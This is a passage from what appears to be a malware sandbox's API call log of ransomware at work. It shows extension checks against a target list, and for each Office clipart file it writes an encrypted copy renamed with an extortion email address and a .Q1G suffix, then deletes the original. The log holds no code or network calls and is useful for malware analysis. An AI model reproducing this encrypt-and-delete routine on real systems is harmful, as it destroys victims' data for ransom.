[0247.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0247.764] lstrlenW (lpString=".dbf") returned 4 [0247.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0247.765] lstrlenW (lpString=".1cd") returned 4 [0247.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0247.765] lstrlenW (lpString=".jpg") returned 4 [0247.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.765] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.765] lstrlenW (lpString="DD00437_.WMF") returned 12 [0247.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.765] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=1932) returned 1 [0247.765] CloseHandle (hObject=0x388) returned 1 [0247.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x20 [0247.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0247.766] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.766] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.766] GetLastError () returned 0x0 [0247.766] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x78c, lpOverlapped=0x0) returned 1 [0247.906] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x790, lpOverlapped=0x0) returned 1 [0247.907] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.907] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.907] SetEndOfFile (hFile=0x3a0) returned 1 [0247.907] CloseHandle (hObject=0x3a0) returned 1 [0247.907] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.907] SetEndOfFile (hFile=0x388) returned 1 [0247.910] CloseHandle (hObject=0x388) returned 1 [0247.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0247.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0247.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0247.926] lstrlenW (lpString=".doc") returned 4 [0247.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.926] lstrlenW (lpString=".docx") returned 5 [0247.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.926] lstrlenW (lpString=".pdf") returned 4 [0247.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.926] lstrlenW (lpString=".xls") returned 4 [0247.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.926] lstrlenW (lpString=".xlsx") returned 5 [0247.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.926] lstrlenW (lpString=".ppt") returned 4 [0247.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0247.926] lstrlenW (lpString=".zip") returned 4 [0247.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.926] lstrlenW (lpString=".rar") returned 4 [0247.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.926] lstrlenW (lpString=".bz2") returned 4 [0247.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.926] lstrlenW (lpString=".7z") returned 3 [0247.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0247.926] lstrlenW (lpString=".dbf") returned 4 [0247.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0247.926] lstrlenW (lpString=".1cd") returned 4 [0247.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0247.926] lstrlenW (lpString=".jpg") returned 4 [0247.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0247.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0247.926] lstrlenW (lpString=".doc") returned 4 [0247.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.926] lstrlenW (lpString=".docx") returned 5 [0247.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.927] lstrlenW (lpString=".pdf") returned 4 [0247.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.927] lstrlenW (lpString=".xls") returned 4 [0247.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.927] lstrlenW (lpString=".xlsx") returned 5 [0247.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.927] lstrlenW (lpString=".ppt") returned 4 [0247.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0247.927] lstrlenW (lpString=".zip") returned 4 [0247.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.927] lstrlenW (lpString=".rar") returned 4 [0247.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.927] lstrlenW (lpString=".bz2") returned 4 [0247.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.927] lstrlenW (lpString=".7z") returned 3 [0247.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0247.927] lstrlenW (lpString=".dbf") returned 4 [0247.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0247.927] lstrlenW (lpString=".1cd") returned 4 [0247.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0247.927] lstrlenW (lpString=".jpg") returned 4 [0247.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.927] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.927] lstrlenW (lpString="DD01140_.WMF") returned 12 [0247.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.929] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3616) returned 1 [0247.929] CloseHandle (hObject=0x200) returned 1 [0247.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x20 [0247.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0247.974] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.974] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0247.975] GetLastError () returned 0x0 [0247.975] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xe20, lpOverlapped=0x0) returned 1 [0247.995] WriteFile (in: hFile=0x338, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xe30, lpOverlapped=0x0) returned 1 [0247.996] ReadFile (in: hFile=0x360, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.996] WriteFile (in: hFile=0x338, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.996] SetEndOfFile (hFile=0x338) returned 1 [0247.996] CloseHandle (hObject=0x338) returned 1 [0247.996] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.996] SetEndOfFile (hFile=0x360) returned 1 [0247.998] CloseHandle (hObject=0x360) returned 1 [0247.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0248.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0248.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0248.058] lstrlenW (lpString=".doc") returned 4 [0248.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.058] lstrlenW (lpString=".docx") returned 5 [0248.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.058] lstrlenW (lpString=".pdf") returned 4 [0248.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.059] lstrlenW (lpString=".xls") returned 4 [0248.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.059] lstrlenW (lpString=".xlsx") returned 5 [0248.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.059] lstrlenW (lpString=".ppt") returned 4 [0248.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0248.059] lstrlenW (lpString=".zip") returned 4 [0248.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.059] lstrlenW (lpString=".rar") returned 4 [0248.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.059] lstrlenW (lpString=".bz2") returned 4 [0248.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.059] lstrlenW (lpString=".7z") returned 3 [0248.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0248.059] lstrlenW (lpString=".dbf") returned 4 [0248.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0248.059] lstrlenW (lpString=".1cd") returned 4 [0248.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0248.059] lstrlenW (lpString=".jpg") returned 4 [0248.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0248.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0248.059] lstrlenW (lpString=".doc") returned 4 [0248.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.059] lstrlenW (lpString=".docx") returned 5 [0248.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.059] lstrlenW (lpString=".pdf") returned 4 [0248.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.059] lstrlenW (lpString=".xls") returned 4 [0248.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.060] lstrlenW (lpString=".xlsx") returned 5 [0248.060] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.060] lstrlenW (lpString=".ppt") returned 4 [0248.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0248.060] lstrlenW (lpString=".zip") returned 4 [0248.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.060] lstrlenW (lpString=".rar") returned 4 [0248.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.060] lstrlenW (lpString=".bz2") returned 4 [0248.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.060] lstrlenW (lpString=".7z") returned 3 [0248.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0248.060] lstrlenW (lpString=".dbf") returned 4 [0248.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0248.060] lstrlenW (lpString=".1cd") returned 4 [0248.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0248.060] lstrlenW (lpString=".jpg") returned 4 [0248.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.060] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.060] lstrlenW (lpString="DD01166_.WMF") returned 12 [0248.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.062] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2080) returned 1 [0248.062] CloseHandle (hObject=0x3c0) returned 1 [0248.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x20 [0248.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0248.205] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.205] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.208] GetLastError () returned 0x0 [0248.208] ReadFile (in: hFile=0x338, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x820, lpOverlapped=0x0) returned 1 [0248.238] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x830, lpOverlapped=0x0) returned 1 [0248.238] ReadFile (in: hFile=0x338, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.238] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.238] SetEndOfFile (hFile=0x200) returned 1 [0248.239] CloseHandle (hObject=0x200) returned 1 [0248.239] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.239] SetEndOfFile (hFile=0x338) returned 1 [0248.240] CloseHandle (hObject=0x338) returned 1 [0248.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0248.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0248.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0248.246] lstrlenW (lpString=".doc") returned 4 [0248.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.246] lstrlenW (lpString=".docx") returned 5 [0248.246] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.246] lstrlenW (lpString=".pdf") returned 4 [0248.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.246] lstrlenW (lpString=".xls") returned 4 [0248.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.246] lstrlenW (lpString=".xlsx") returned 5 [0248.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.246] lstrlenW (lpString=".ppt") returned 4 [0248.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0248.246] lstrlenW (lpString=".zip") returned 4 [0248.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.247] lstrlenW (lpString=".rar") returned 4 [0248.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.247] lstrlenW (lpString=".bz2") returned 4 [0248.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.247] lstrlenW (lpString=".7z") returned 3 [0248.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0248.247] lstrlenW (lpString=".dbf") returned 4 [0248.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0248.247] lstrlenW (lpString=".1cd") returned 4 [0248.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0248.247] lstrlenW (lpString=".jpg") returned 4 [0248.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0248.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0248.247] lstrlenW (lpString=".doc") returned 4 [0248.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.247] lstrlenW (lpString=".docx") returned 5 [0248.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.247] lstrlenW (lpString=".pdf") returned 4 [0248.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.247] lstrlenW (lpString=".xls") returned 4 [0248.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.247] lstrlenW (lpString=".xlsx") returned 5 [0248.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.247] lstrlenW (lpString=".ppt") returned 4 [0248.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0248.247] lstrlenW (lpString=".zip") returned 4 [0248.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.247] lstrlenW (lpString=".rar") returned 4 [0248.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.247] lstrlenW (lpString=".bz2") returned 4 [0248.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.248] lstrlenW (lpString=".7z") returned 3 [0248.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0248.248] lstrlenW (lpString=".dbf") returned 4 [0248.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0248.248] lstrlenW (lpString=".1cd") returned 4 [0248.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0248.248] lstrlenW (lpString=".jpg") returned 4 [0248.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.248] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.248] lstrlenW (lpString="DD01171_.WMF") returned 12 